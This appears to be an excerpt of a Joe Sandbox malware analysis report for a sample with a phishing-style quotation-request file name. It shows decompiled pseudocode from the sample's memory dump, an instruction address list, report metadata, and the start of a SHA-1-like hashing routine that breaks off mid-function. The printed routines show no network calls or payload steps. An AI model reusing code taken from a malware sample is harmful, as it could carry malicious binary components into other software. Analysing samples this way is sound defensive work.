											L89:
											 *_t395 = _t273 + 8;
											_t441 = 2;
											 *(_t395 + 0xa) = 1;
											__eflags =  *((intOrPtr*)(_t452 + 0xda)) - _t441;
											if( *((intOrPtr*)(_t452 + 0xda)) != _t441) {
												_t277 = 0;
												__eflags = 0;
											} else {
												_t277 =  *(_t452 + 0xd4);
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L97:
												_t281 =  *(_t452 + 0x4c) >> 0x00000014 &  *(_t452 + 0x52) ^  *(_t453 + 2);
												__eflags = _t281 & 0x00000001;
												if((_t281 & 0x00000001) == 0) {
													 *_t395 = _t453 + 0x10;
													__eflags =  *(_t452 + 0x4c);
													if( *(_t452 + 0x4c) == 0) {
														_t283 =  *_t453 & 0x0000ffff;
													} else {
														_t288 =  *_t453;
														__eflags =  *(_t452 + 0x4c) & _t288;
														if(( *(_t452 + 0x4c) & _t288) != 0) {
															_t288 = _t288 ^  *(_t452 + 0x50);
															__eflags = _t288;
														}
														_t283 = _t288 & 0x0000ffff;
													}
													 *(_t395 + 4) = (_t283 & 0x0000ffff) * 8 - 0x10;
													 *((char*)(_t395 + 9)) =  *(_t453 + 6);
													 *(_t395 + 0xa) = 0;
													 *(_t395 + 8) = 0x10;
													 *(_t395 + 0x14) = 0x10;
													goto L193;
												}
												_t289 =  *((intOrPtr*)(_t453 + 7));
												__eflags = _t289 & 0x00000040;
												if((_t289 & 0x00000040) == 0) {
													__eflags = _t289 - 4;
													if(_t289 != 4) {
														_t290 = _t453;
														L104:
														 *_t395 = _t290 + 8;
														_t399 =  *((intOrPtr*)(_t453 + 7));
														__eflags = _t399 - 4;
														if(_t399 == 4) {
															__eflags =  *(_t452 + 0x4c);
															if( *(_t452 + 0x4c) == 0) {
																_t292 =  *_t453 & 0x0000ffff;
															} else {
																_t308 =  *_t453;
																__eflags =  *(_t452 + 0x4c) & _t308;
																if(( *(_t452 + 0x4c) & _t308) != 0) {
																	_t308 = _t308 ^  *(_t452 + 0x50);
																	__eflags = _t308;
																}
																_t292 = _t308 & 0x0000ffff;
															}
															 *((char*)(_t395 + 9)) = 0x40;
															_t294 = 0x4001;
															 *(_t395 + 4) =  *((intOrPtr*)(_t453 - 8)) - (_t292 & 0x0000ffff);
															 *(_t395 + 0xa) = 0x4001;
															__eflags =  *(_t452 + 0x4c);
															if( *(_t452 + 0x4c) == 0) {
																_t406 =  *_t453 & 0x0000ffff;
															} else {
																_t307 =  *_t453;
																__eflags =  *(_t452 + 0x4c) & _t307;
																if(( *(_t452 + 0x4c) & _t307) != 0) {
																	_t307 = _t307 ^  *(_t452 + 0x50);
																	__eflags = _t307;
																}
																_t406 = _t307 & 0x0000ffff;
																_t294 =  *(_t395 + 0xa) & 0x0000ffff;
															}
															_t407 = _t406 & 0x0000ffff;
															 *(_t395 + 8) = _t407;
															__eflags = _t441 & _t294;
															if((_t441 & _t294) == 0) {
																 *(_t395 + 0x14) = _t407;
															}
															_t408 = _t294 & 0x0000ffff;
															L166:
															__eflags =  *(_t452 + 0x4c);
															if( *(_t452 + 0x4c) == 0) {
																_t295 =  *(_t453 + 2);
																_t409 = _t408 & 0x0000ffff;
															} else {
																_t306 =  *_t453;
																__eflags =  *(_t452 + 0x4c) & _t306;
																if(( *(_t452 + 0x4c) & _t306) != 0) {
																	_t306 = _t306 ^  *(_t452 + 0x50);
																	__eflags = _t306;
																}
																_t409 =  *(_t395 + 0xa) & 0x0000ffff;
																_t295 = _t306 >> 0x10;
															}
															__eflags = _t441 & _t295;
															if((_t441 & _t295) == 0) {
																_t296 =  *[fs:0x30];
																_t410 = _t409 & 0x0000ffff;
																__eflags =  *(_t296 + 0x68) & 0x00000800;
																if(( *(_t296 + 0x68) & 0x00000800) != 0) {
																	_t297 =  *(_t453 + 3) & 0x000000ff;
																} else {
																	_t297 = 0;
																}
																 *(_t395 + 0x10) = _t297;
															} else {
																_t441 = _t453;
																_t303 = E00ABD380(_t452, _t453);
																 *(_t395 + 0xc) =  *(_t303 + 4);
																 *((short*)(_t395 + 0x12)) =  *_t303;
																_t415 =  *[fs:0x30];
																__eflags =  *(_t415 + 0x68) & 0x00000800;
																if(( *(_t415 + 0x68) & 0x00000800) != 0) {
																	_t304 =  *(_t303 + 2) & 0x0000ffff;
																} else {
																	_t304 = 0;
																}
																 *(_t395 + 0x10) = _t304;
																 *(_t395 + 0xa) =  *(_t395 + 0xa) | 0x00000010;
																_t410 =  *(_t395 + 0xa) & 0x0000ffff;
															}
															__eflags =  *(_t452 + 0x4c);
															if( *(_t452 + 0x4c) == 0) {
																_t298 =  *(_t453 + 2);
																_t411 = _t410 & 0x0000ffff;
															} else {
																_t302 =  *_t453;
																__eflags =  *(_t452 + 0x4c) & _t302;
																if(( *(_t452 + 0x4c) & _t302) != 0) {
																	_t302 = _t302 ^  *(_t452 + 0x50);
																	__eflags = _t302;
																}
																_t411 =  *(_t395 + 0xa) & 0x0000ffff;
																_t298 = _t302 >> 0x10;
															}
															 *(_t395 + 0xa) = _t298 & 0xe0 | _t411;
															goto L193;
														}
														__eflags = _t399 - 3;
														if(_t399 == 3) {
															_t408 = 0x1000;
															 *_t395 =  *(_t453 + 0x18);
															 *(_t395 + 0x14) =  *(_t395 + 0x14) & 0x00000000;
															 *(_t395 + 4) =  *(_t453 + 0x1c);
															 *(_t395 + 8) = 0x10000000;
															goto L166;
														}
														__eflags = _t399 - 1;
														if(_t399 != 1) {
															_t442 =  *(_t452 + 0x4c);
															__eflags = _t442;
															if(_t442 == 0) {
																_t311 =  *_t453 & 0x0000ffff;
															} else {
																_t344 =  *_t453;
																_t442 =  *(_t452 + 0x4c);
																__eflags = _t344 & _t442;
																if((_t344 & _t442) != 0) {
																	_t344 = _t344 ^  *(_t452 + 0x50);
																	__eflags = _t344;
																}
																_t399 =  *((intOrPtr*)(_t453 + 7));
																_t311 = _t344 & 0x0000ffff;
															}
															_v20 = _t311;
															__eflags = _t399 - 5;
															if(_t399 != 5) {
																__eflags = _t399 & 0x00000040;
																if((_t399 & 0x00000040) == 0) {
																	__eflags = (_t399 & 0x0000003f) - 0x3f;
																	if((_t399 & 0x0000003f) == 0x3f) {
																		__eflags = _t399;
																		if(_t399 >= 0) {
																			__eflags = _t442;
																			if(_t442 == 0) {
																				_t314 =  *_t453 & 0x0000ffff;
																			} else {
																				_t337 =  *_t453;
																				__eflags =  *(_t452 + 0x4c) & _t337;
																				if(( *(_t452 + 0x4c) & _t337) != 0) {
																					_t337 = _t337 ^  *(_t452 + 0x50);
																					__eflags = _t337;
																				}
																				_t314 = _t337 & 0x0000ffff;
																			}
																		} else {
																			_t431 = _t453 >> 0x00000003 ^  *_t453 ^  *0xb0874c ^ _t452;
																			__eflags = _t431;
																			if(_t431 == 0) {
																				_t339 = _t453 - (_t431 >> 0xd);
																				__eflags = _t339;
																				_t340 =  *_t339;
																			} else {
																				_t340 = 0;
																			}
																			_t314 =  *((intOrPtr*)(_t340 + 0x14));
																		}
																		_t416 =  *(_t453 + (_t314 & 0xffff) * 8 - 4);
																	} else {
																		_t416 = _t399 & 0x3f;
																	}
																} else {
																	_t416 =  *(_t453 + 4 + (_t399 & 0x3f) * 8) & 0x0000ffff;
																}
															} else {
																_t416 =  *(_t452 + 0x54) & 0x0000ffff ^  *(_t453 + 4) & 0x0000ffff;
															}
															 *(_t395 + 4) = ((_v20 & 0x0000ffff) << 3) - _t416;
															 *((char*)(_t395 + 9)) =  *(_t453 + 6);
															 *(_t395 + 0xa) = 1;
															_t417 =  *((intOrPtr*)(_t453 + 7));
															__eflags = _t417 - 5;
															if(_t417 != 5) {
																__eflags = _t417 & 0x00000040;
																if((_t417 & 0x00000040) == 0) {
																	__eflags = (_t417 & 0x0000003f) - 0x3f;
																	if((_t417 & 0x0000003f) == 0x3f) {
																		__eflags = _t417;
																		if(_t417 >= 0) {
																			__eflags =  *(_t452 + 0x4c);
																			if( *(_t452 + 0x4c) == 0) {
																				_t326 =  *_t453 & 0x0000ffff;
																			} else {
																				_t330 =  *_t453;
																				__eflags =  *(_t452 + 0x4c) & _t330;
																				if(( *(_t452 + 0x4c) & _t330) != 0) {
																					_t330 = _t330 ^  *(_t452 + 0x50);
																					__eflags = _t330;
																				}
																				_t326 = _t330 & 0x0000ffff;
																			}
																		} else {
																			_t423 = _t453 >> 0x00000003 ^  *_t453 ^  *0xb0874c ^ _t452;
																			__eflags = _t423;
																			if(_t423 == 0) {
																				_t332 = _t453 - (_t423 >> 0xd);
																				__eflags = _t332;
																				_t333 =  *_t332;
																			} else {
																				_t333 = 0;
																			}
																			_t326 =  *((intOrPtr*)(_t333 + 0x14));
																		}
																		_t418 =  *(_t453 + (_t326 & 0xffff) * 8 - 4);
																	} else {
																		_t418 = _t417 & 0x3f;
																	}
																} else {
																	_t418 =  *(_t453 + 4 + (_t417 & 0x3f) * 8) & 0x0000ffff;
																}
															} else {
																_t418 =  *(_t452 + 0x54) & 0x0000ffff ^  *(_t453 + 4) & 0x0000ffff;
															}
															_t329 =  *(_t395 + 0xa) & 0x0000ffff;
															_t441 = 2;
															 *(_t395 + 8) = _t418;
															__eflags = _t441 & _t329;
															if((_t441 & _t329) == 0) {
																 *(_t395 + 0x14) = _t418;
															}
															_t408 = _t329;
															goto L166;
														}
														 *(_t395 + 0xa) = 1;
														goto L26;
													}
													_t347 =  *(_t453 + 6) & 0x000000ff;
													L100:
													_t290 = _t453 + _t347 * 8;
													goto L104;
												}
												_t347 = _t289 & 0x3f;
												__eflags = _t347;
												goto L100;
											} else {
												_t441 = _t395;
												_t399 = _t452;
												_t349 = L00AD67E2(_t452, _t395, _t452);
												__eflags = _t349;
												if(_t349 == 0) {
													_t441 = 2;
													goto L97;
												}
												__eflags =  *(_t395 + 0xa) & 0x00002000;
												if(( *(_t395 + 0xa) & 0x00002000) == 0) {
													goto L193;
												}
												L25:
												_t441 = 2;
												L26:
												__eflags =  *((intOrPtr*)(_t452 + 0xda)) - _t441;
												if( *((intOrPtr*)(_t452 + 0xda)) != _t441) {
													_t261 = 0;
													__eflags = 0;
												} else {
													_t261 =  *(_t452 + 0xd4);
												}
												__eflags = _t261;
												if(_t261 == 0) {
													L32:
													__eflags =  *(_t395 + 0xa) & 0x00000001;
													_t400 =  *_t395;
													if(( *(_t395 + 0xa) & 0x00000001) == 0) {
														_t399 = _t400 + 0xfffffff0;
														__eflags =  *(_t452 + 0x4c);
														if( *(_t452 + 0x4c) == 0) {
															_t453 =  *_t399 & 0x0000ffff;
														} else {
															_t381 =  *_t399;
															__eflags =  *(_t452 + 0x4c) & _t381;
															if(( *(_t452 + 0x4c) & _t381) != 0) {
																_t381 = _t381 ^  *(_t452 + 0x50);
																__eflags = _t381;
															}
															_t453 = _t381 & 0x0000ffff;
														}
														_t262 =  *(_t399 + 6);
														__eflags = _t262;
														if(_t262 == 0) {
															_t441 = _t452;
														} else {
															_t441 = (_t399 & 0xffff0000) - ((_t262 & 0x000000ff) << 0x10) + 0x10000;
														}
														__eflags = _t441;
														if(_t441 == 0) {
															L192:
															_v12 = 0xc0000141;
															goto L193;
														} else {
															__eflags =  *((char*)(_t399 + 7)) - 3;
															if( *((char*)(_t399 + 7)) != 3) {
																_t271 = _t453 & 0x0000ffff;
																L81:
																_t453 = _t399 + _t271 * 8;
																goto L82;
															}
															L58:
															__eflags =  *(_t399 + 0x1c) + 0x20 + _t399 -  *((intOrPtr*)(_t441 + 0x28));
															if( *(_t399 + 0x1c) + 0x20 + _t399 <  *((intOrPtr*)(_t441 + 0x28))) {
																 *_t395 =  *(_t399 + 0x18);
																 *(_t395 + 0x14) =  *(_t395 + 0x14) & 0x00000000;
																_t453 = 0;
																 *(_t395 + 4) =  *(_t399 + 0x1c);
																 *(_t395 + 8) = 0x10000000;
																goto L82;
															}
															_t443 =  *((intOrPtr*)(_t441 + 0x10));
															__eflags = _t443 - _t452 + 0xa4;
															if(_t443 == _t452 + 0xa4) {
																L61:
																_t399 = 2;
																L62:
																_t441 = 0;
																__eflags = 0;
																goto L63;
															}
															_t441 = _t443 + 0xfffffff0;
															_t399 = 2;
															goto L63;
														}
													}
													_t399 = _t400 + 0xfffffff8;
													__eflags =  *((char*)(_t399 + 7)) - 5;
													if( *((char*)(_t399 + 7)) == 5) {
														_t399 = _t399 - (( *(_t399 + 6) & 0x000000ff) << 3);
														__eflags = _t399;
													}
													__eflags =  *((intOrPtr*)(_t399 + 7)) - 4;
													if( *((intOrPtr*)(_t399 + 7)) != 4) {
														_t383 =  *(_t399 + 6);
														__eflags = _t383;
														if(_t383 == 0) {
															_t441 = _t452;
														} else {
															_t449 = (_t399 & 0xffff0000) - ((_t383 & 0x000000ff) << 0x10);
															_t383 =  *((intOrPtr*)(_t399 + 7));
															_t441 = _t449 + 0x10000;
														}
														__eflags = _t441;
														if(_t441 == 0) {
															goto L192;
														} else {
															__eflags = _t383 - 3;
															if(_t383 == 3) {
																goto L58;
															}
															__eflags =  *(_t452 + 0x4c);
															if( *(_t452 + 0x4c) == 0) {
																_t384 =  *_t399 & 0x0000ffff;
															} else {
																_t385 =  *_t399;
																__eflags =  *(_t452 + 0x4c) & _t385;
																if(( *(_t452 + 0x4c) & _t385) != 0) {
																	_t385 = _t385 ^  *(_t452 + 0x50);
																	__eflags = _t385;
																}
																_t384 = _t385 & 0x0000ffff;
															}
															_t271 = _t384 & 0x0000ffff;
															goto L81;
														}
													} else {
														_t453 =  *(_t399 - 0x18);
														_t378 = _t452 + 0x9c;
														L65:
														__eflags = _t453 - _t378;
														if(_t453 == _t378) {
															_v12 = 0x8000001a;
															goto L193;
														}
														_t453 = _t453 + 0x18;
														goto L82;
													}
												} else {
													_t441 = _t395;
													_t390 = L00AD67E2(_t452, _t395, _t399);
													__eflags = _t390;
													if(_t390 == 0) {
														goto L32;
													}
													__eflags =  *(_t395 + 0xa) & 0x00002000;
													if(( *(_t395 + 0xa) & 0x00002000) == 0) {
														goto L193;
													}
													goto L32;
												}
											}
										}
										_t351 =  *(_t453 + 6) & 0x000000ff;
										L85:
										_t273 = _t453 + _t351 * 8;
										goto L89;
									}
									_t351 = _t272 & 0x3f;
									__eflags = _t351;
									goto L85;
								}
							}
							_t378 = _t452 + 0x9c;
							_t453 =  *_t378;
							goto L65;
						}
					}
					_t393 = E00AD433B(__edx, __ecx, __ecx, _t453, __eflags);
					__eflags = _t393;
					if(_t393 != 0) {
						goto L5;
					} else {
						_v12 = 0xc000000d;
						goto L193;
					}
				} else {
					_t453 =  *0xb05724; // 0x0
					 *0xb0b1e0(__ecx, __edx);
					_t265 =  *_t453();
					L201:
					return L00A5B640(_t265, _t395, _v8 ^ _t455, _t441, _t452, _t453);
				}
			}

0x00abeb97
0x00abeb99
0x00abeb9f
0x00abeba1
0x00abebaa
0x00abebc3
0x00abebcd
0x00abebd5
0x00abebd7
0x00abebf0
0x00abebf0
0x00abebf4
0x00abebf6
0x00abebf9
0x00abebfb
0x00abec04
0x00abec08
0x00abec0e
0x00000000
0x00000000
0x00abec16
0x00abec16
0x00abec19
0x00abec3a
0x00abec3a
0x00abec3e
0x00abec4d
0x00abec50
0x00abec52
0x00abec58
0x00abec5a
0x00abec5d
0x00abec5f
0x00abec5f
0x00abec64
0x00abec68
0x00abec73
0x00abec73
0x00abec7e
0x00abec7f
0x00abec81
0x00abec8b
0x00abec91
0x00000000
0x00000000
0x00abec97
0x00000000
0x00abec97
0x00abec83
0x00000000
0x00abec6a
0x00abec6a
0x00abec6d
0x00000000
0x00000000
0x00000000
0x00abec6d
0x00abec68
0x00abec40
0x00abec43
0x00000000
0x00000000
0x00abec45
0x00000000
0x00abec1b
0x00abec1b
0x00abec22
0x00abec2c
0x00abec2c
0x00abec24
0x00abec24
0x00abec24
0x00abec2e
0x00abec30
0x00000000
0x00abec36
0x00abec36
0x00000000
0x00abec36
0x00abec30
0x00abebfd
0x00abebfd
0x00abedd2
0x00abedd2
0x00abedd4
0x00abedd6
0x00abedf0
0x00abedf6
0x00abee00
0x00abee00
0x00abedf8
0x00abedf8
0x00abedf8
0x00abee02
0x00abee04
0x00abef6c
0x00abef71
0x00000000
0x00abee0a
0x00abee0a
0x00abee0c
0x00abee0f
0x00abee20
0x00abee11
0x00abee11
0x00abee13
0x00abee16
0x00abee18
0x00abee18
0x00abee18
0x00abee1b
0x00abee1b
0x00abee29
0x00abee2c
0x00abee30
0x00abee3d
0x00abee43
0x00abee46
0x00abee49
0x00abee4c
0x00abee4e
0x00abee4e
0x00abee53
0x00abee53
0x00abee65
0x00abee6b
0x00abee90
0x00abee90
0x00abee92
0x00abf23e
0x00abf23e
0x00abf243
0x00abf245
0x00abf257
0x00abf247
0x00abf250
0x00abf250
0x00abf25c
0x00abf25f
0x00abf261
0x00abf267
0x00abf26e
0x00abf270
0x00abf277
0x00abf27b
0x00abf27b
0x00abf277
0x00abf26e
0x00abf280
0x00000000
0x00abf280
0x00abee98
0x00abee9b
0x00abee9d
0x00abeeaa
0x00abeeac
0x00abeeb4
0x00abeeb6
0x00abeeb9
0x00abeec0
0x00abeec1
0x00abeec5
0x00abeecb
0x00abeed5
0x00abeed5
0x00abeecd
0x00abeecd
0x00abeecd
0x00abeed7
0x00abeed9
0x00abef00
0x00abef09
0x00abef0c
0x00abef0e
0x00abf1f7
0x00abf1f9
0x00abf1fd
0x00abf20e
0x00abf1ff
0x00abf1ff
0x00abf201
0x00abf204
0x00abf206
0x00abf206
0x00abf206
0x00abf209
0x00abf209
0x00abf21b
0x00abf221
0x00abf226
0x00abf22a
0x00abf22e
0x00000000
0x00abf22e
0x00abef14
0x00abef17
0x00abef19
0x00abef26
0x00abef28
0x00abef30
0x00abef32
0x00abef35
0x00abef37
0x00abef3a
0x00abef3d
0x00abf0ea
0x00abf0ee
0x00abf0ff
0x00abf0f0
0x00abf0f0
0x00abf0f2
0x00abf0f5
0x00abf0f7
0x00abf0f7
0x00abf0f7
0x00abf0fa
0x00abf0fa
0x00abf10a
0x00abf10e
0x00abf113
0x00abf116
0x00abf11a
0x00abf11e
0x00abf133
0x00abf120
0x00abf120
0x00abf122
0x00abf125
0x00abf127
0x00abf127
0x00abf127
0x00abf12a
0x00abf12d
0x00abf12d
0x00abf136
0x00abf139
0x00abf13c
0x00abf13e
0x00abf140
0x00abf140
0x00abf143
0x00abf146
0x00abf146
0x00abf14a
0x00abf15f
0x00abf162
0x00abf14c
0x00abf14c
0x00abf14e
0x00abf151
0x00abf153
0x00abf153
0x00abf153
0x00abf156
0x00abf15a
0x00abf15a
0x00abf165
0x00abf167
0x00abf1a9
0x00abf1af
0x00abf1b2
0x00abf1b9
0x00abf1bf
0x00abf1bb
0x00abf1bb
0x00abf1bb
0x00abf1c3
0x00abf169
0x00abf169
0x00abf16d
0x00abf175
0x00abf17b
0x00abf17f
0x00abf186
0x00abf18d
0x00abf193
0x00abf18f
0x00abf18f
0x00abf18f
0x00abf197
0x00abf19b
0x00abf1a4
0x00abf1a4
0x00abf1c7
0x00abf1cb
0x00abf1e0
0x00abf1e3
0x00abf1cd
0x00abf1cd
0x00abf1cf
0x00abf1d2
0x00abf1d4
0x00abf1d4
0x00abf1d4
0x00abf1d7
0x00abf1db
0x00abf1db
0x00abf1ee
0x00000000
0x00abf1ee
0x00abef43
0x00abef46
0x00abf0d0
0x00abf0d5
0x00abf0da
0x00abf0de
0x00abf0e1
0x00000000
0x00abf0e1
0x00abef4c
0x00abef4f
0x00abef7b
0x00abef7e
0x00abef80
0x00abef96
0x00abef82
0x00abef82
0x00abef84
0x00abef87
0x00abef89
0x00abef8b
0x00abef8b
0x00abef8b
0x00abef8e
0x00abef91
0x00abef91
0x00abef99
0x00abef9c
0x00abef9f
0x00abefad
0x00abefb0
0x00abefc3
0x00abefc5
0x00abefcf
0x00abefd1
0x00abeffa
0x00abeffc
0x00abf00d
0x00abeffe
0x00abeffe
0x00abf000
0x00abf003
0x00abf005
0x00abf005
0x00abf005
0x00abf008
0x00abf008
0x00abefd3
0x00abefe0
0x00abefe2
0x00abefe5
0x00abeff0
0x00abeff0
0x00abeff2
0x00abefe7
0x00abefe7
0x00abefe7
0x00abeff4
0x00abeff4
0x00abf016
0x00abefc7
0x00abefca
0x00abefca
0x00abefb2
0x00abefb8
0x00abefb8
0x00abefa1
0x00abefa9
0x00abefa9
0x00abf025
0x00abf02b
0x00abf031
0x00abf035
0x00abf038
0x00abf03b
0x00abf049
0x00abf04c
0x00abf05f
0x00abf061
0x00abf06b
0x00abf06d
0x00abf096
0x00abf09a
0x00abf0ab
0x00abf09c
0x00abf09c
0x00abf09e
0x00abf0a1
0x00abf0a3
0x00abf0a3
0x00abf0a3
0x00abf0a6
0x00abf0a6
0x00abf06f
0x00abf07c
0x00abf07e
0x00abf081
0x00abf08c
0x00abf08c
0x00abf08e
0x00abf083
0x00abf083
0x00abf083
0x00abf090
0x00abf090
0x00abf0b4
0x00abf063
0x00abf066
0x00abf066
0x00abf04e
0x00abf054
0x00abf054
0x00abf03d
0x00abf045
0x00abf045
0x00abf0b8
0x00abf0be
0x00abf0bf
0x00abf0c2
0x00abf0c4
0x00abf0c6
0x00abf0c6
0x00abf0c9
0x00000000
0x00abf0c9
0x00abef54
0x00000000
0x00abef54
0x00abef2a
0x00abef21
0x00abef21
0x00000000
0x00abef21
0x00abef1e
0x00abef1e
0x00000000
0x00abeedb
0x00abeedc
0x00abeede
0x00abeee0
0x00abeee5
0x00abeee7
0x00abeeff
0x00000000
0x00abeeff
0x00abeeee
0x00abeef2
0x00000000
0x00000000
0x00abeca2
0x00abeca4
0x00abeca5
0x00abeca5
0x00abecab
0x00abecb5
0x00abecb5
0x00abecad
0x00abecad
0x00abecad
0x00abecb7
0x00abecb9
0x00abecd8
0x00abecd8
0x00abecdc
0x00abecde
0x00abed59
0x00abed5c
0x00abed60
0x00abed71
0x00abed62
0x00abed62
0x00abed64
0x00abed67
0x00abed69
0x00abed69
0x00abed69
0x00abed6c
0x00abed6c
0x00abed74
0x00abed77
0x00abed79
0x00abed93
0x00abed7b
0x00abed8b
0x00abed8b
0x00abed95
0x00abed97
0x00abf237
0x00abf237
0x00000000
0x00abed9d
0x00abed9d
0x00abeda1
0x00abee8a
0x00abee8d
0x00abee8d
0x00000000
0x00abee8d
0x00abeda7
0x00abedaf
0x00abedb2
0x00abee73
0x00abee78
0x00abee7c
0x00abee7e
0x00abee81
0x00000000
0x00abee81
0x00abedb8
0x00abedc1
0x00abedc3
0x00abedcd
0x00abedcf
0x00abedd0
0x00abedd0
0x00abedd0
0x00000000
0x00abedd0
0x00abedc7
0x00abedca
0x00000000
0x00abedca
0x00abed97
0x00abece0
0x00abece3
0x00abece7
0x00abecf0
0x00abecf0
0x00abecf0
0x00abecf5
0x00abecf8
0x00abed08
0x00abed0b
0x00abed0d
0x00abed2a
0x00abed0f
0x00abed1d
0x00abed1f
0x00abed22
0x00abed22
0x00abed2c
0x00abed2e
0x00000000
0x00abed34
0x00abed34
0x00abed37
0x00000000
0x00000000
0x00abed39
0x00abed3d
0x00abed4e
0x00abed3f
0x00abed3f
0x00abed41
0x00abed44
0x00abed46
0x00abed46
0x00abed46
0x00abed49
0x00abed49
0x00abed51
0x00000000
0x00abed51
0x00abecfa
0x00abecfa
0x00abecfd
0x00abede0
0x00abede0
0x00abede2
0x00abef5d
0x00000000
0x00abef5d
0x00abede8
0x00000000
0x00abede8
0x00abecbb
0x00abecbc
0x00abecc0
0x00abecc5
0x00abecc7
0x00000000
0x00000000
0x00abecce
0x00abecd2
0x00000000
0x00000000
0x00000000
0x00abecd2
0x00abecb9
0x00abeed9
0x00abeeae
0x00abeea5
0x00abeea5
0x00000000
0x00abeea5
0x00abeea2
0x00abeea2
0x00000000
0x00abeea2
0x00abee04
0x00abedd8
0x00abedde
0x00000000
0x00abedde
0x00abebfb
0x00abebdb
0x00abebe0
0x00abebe2
0x00000000
0x00abebe4
0x00abebe4
0x00000000
0x00abebe4
0x00abebac
0x00abebac
0x00abebb6
0x00abebbc
0x00abf283
0x00abf293
0x00abf293

Strings

@, xrefs: 00ABF10A

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: ff56c2cfd12e12b0abf0af4f089ac16b5922cbb425f21a12dd00ac95f4337c36
Instruction ID: 169f7be206a5e17deff526647b7566efd739aa4368d75203069ccb072d35b524
Opcode Fuzzy Hash: ff56c2cfd12e12b0abf0af4f089ac16b5922cbb425f21a12dd00ac95f4337c36
Instruction Fuzzy Hash: 0B32C2746046519FDB24CF29C8903F2B7F9BF45300F18856AE8868F297E735E856DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00408C6B, Relevance: 1.7, Strings: 1, Instructions: 423
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E00408C6B(void* __edx, signed int* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				char _v304;
				signed char* _t278;
				signed int* _t279;
				signed int _t280;
				signed int _t286;
				signed int _t289;
				signed int _t293;
				signed int _t296;
				signed int _t300;
				signed int _t304;
				signed int _t306;
				signed int _t312;
				signed int _t320;
				signed int _t322;
				signed int _t325;
				signed int _t327;
				signed int _t336;
				signed int _t342;
				signed int _t343;
				signed int _t348;
				signed int _t357;
				signed int _t361;
				signed int _t362;
				signed int _t366;
				signed int _t369;
				signed int _t373;
				signed int _t374;
				signed int _t404;
				signed int _t409;
				signed int _t415;
				signed int _t418;
				signed int _t425;
				signed int _t428;
				signed int _t437;
				signed int _t439;
				signed int _t442;
				signed int _t450;
				signed int _t465;
				signed int _t468;
				signed int _t469;
				signed int _t470;
				signed int _t476;
				signed int _t484;
				signed int _t485;
				signed int* _t486;
				signed int* _t489;
				signed int _t496;
				signed int _t499;
				signed int _t504;
				signed int _t507;
				signed int _t510;
				signed int _t513;
				signed int _t514;
				signed int _t518;
				signed int _t530;
				signed int _t533;
				signed int _t540;
				void* _t546;
				void* _t548;

				_t546 = _t548;
				_t489 = _a4;
				_t357 = 0;
				_t3 =  &(_t489[7]); // 0x1b
				_t278 = _t3;
				do {
					 *(_t546 + _t357 * 4 - 0x14c) = ((( *(_t278 - 1) & 0x000000ff) << 0x00000008 |  *_t278 & 0x000000ff) << 0x00000008 | _t278[1] & 0x000000ff) << 0x00000008 | _t278[2] & 0x000000ff;
					 *(_t546 + _t357 * 4 - 0x148) = (((_t278[3] & 0x000000ff) << 0x00000008 | _t278[4] & 0x000000ff) << 0x00000008 | _t278[5] & 0x000000ff) << 0x00000008 | _t278[6] & 0x000000ff;
					 *(_t546 + _t357 * 4 - 0x144) = (((_t278[7] & 0x000000ff) << 0x00000008 | _t278[8] & 0x000000ff) << 0x00000008 | _t278[9] & 0x000000ff) << 0x00000008 | _t278[0xa] & 0x000000ff;
					 *(_t546 + _t357 * 4 - 0x140) = (((_t278[0xb] & 0x000000ff) << 0x00000008 | _t278[0xc] & 0x000000ff) << 0x00000008 | _t278[0xd] & 0x000000ff) << 0x00000008 | _t278[0xe] & 0x000000ff;
					_t357 = _t357 + 4;
					_t278 =  &(_t278[0x10]);
				} while (_t357 < 0x10);
				_t279 =  &_v304;
				_v8 = 0x10;
				do {
					_t404 =  *(_t279 - 0x18);
					_t465 =  *(_t279 - 0x14);
					_t361 =  *(_t279 - 0x20) ^ _t279[5] ^  *_t279 ^ _t404;
					asm("rol ecx, 1");
					asm("rol ebx, 1");
					_t279[9] =  *(_t279 - 0x1c) ^ _t279[6] ^ _t279[1] ^ _t465;
					_t279[8] = _t361;
					_t320 = _t279[7] ^  *(_t279 - 0x10) ^ _t279[2];
					_t279 =  &(_t279[4]);
					asm("rol ebx, 1");
					asm("rol edx, 1");
					_t47 =  &_v8;
					 *_t47 = _v8 - 1;
					_t279[6] = _t320 ^ _t404;
					_t279[7] =  *(_t279 - 0x1c) ^  *(_t279 - 4) ^ _t361 ^ _t465;
				} while ( *_t47 != 0);
				_t322 =  *_t489;
				_t280 = _t489[1];
				_t362 = _t489[2];
				_t409 = _t489[3];
				_v12 = _t322;
				_v16 = _t489[4];
				_v8 = 0;
				do {
					asm("rol ebx, 0x5");
					_t468 = _v8;
					_t496 = _t322 + ( !_t280 & _t409 | _t362 & _t280) +  *((intOrPtr*)(_t546 + _t468 * 4 - 0x14c)) + _v16 + 0x5a827999;
					_t325 = _v12;
					asm("ror eax, 0x2");
					_v16 = _t409;
					_v12 = _t496;
					asm("rol esi, 0x5");
					_v8 = _t362;
					_t415 = _t496 + ( !_t325 & _t362 | _t280 & _t325) +  *((intOrPtr*)(_t546 + _t468 * 4 - 0x148)) + _v16 + 0x5a827999;
					_t499 = _t280;
					asm("ror ebx, 0x2");
					_v16 = _v8;
					_t366 = _v12;
					_v8 = _t325;
					_t327 = _v8;
					_v12 = _t415;
					asm("rol edx, 0x5");
					_t286 = _t415 + ( !_t366 & _t499 | _t325 & _t366) +  *((intOrPtr*)(_t546 + _t468 * 4 - 0x144)) + _v16 + 0x5a827999;
					_t418 = _v12;
					_v16 = _t499;
					asm("ror ecx, 0x2");
					_v8 = _t366;
					_v12 = _t286;
					asm("rol eax, 0x5");
					_v16 = _t327;
					_t504 = _t286 + ( !_t418 & _t327 | _t366 & _t418) +  *((intOrPtr*)(_t546 + _t468 * 4 - 0x140)) + _v16 + 0x5a827999;
					_t362 = _v12;
					_t289 = _v8;
					asm("ror edx, 0x2");
					_v8 = _t418;
					_v12 = _t504;
					asm("rol esi, 0x5");
					_v16 = _t289;
					_t280 = _v12;
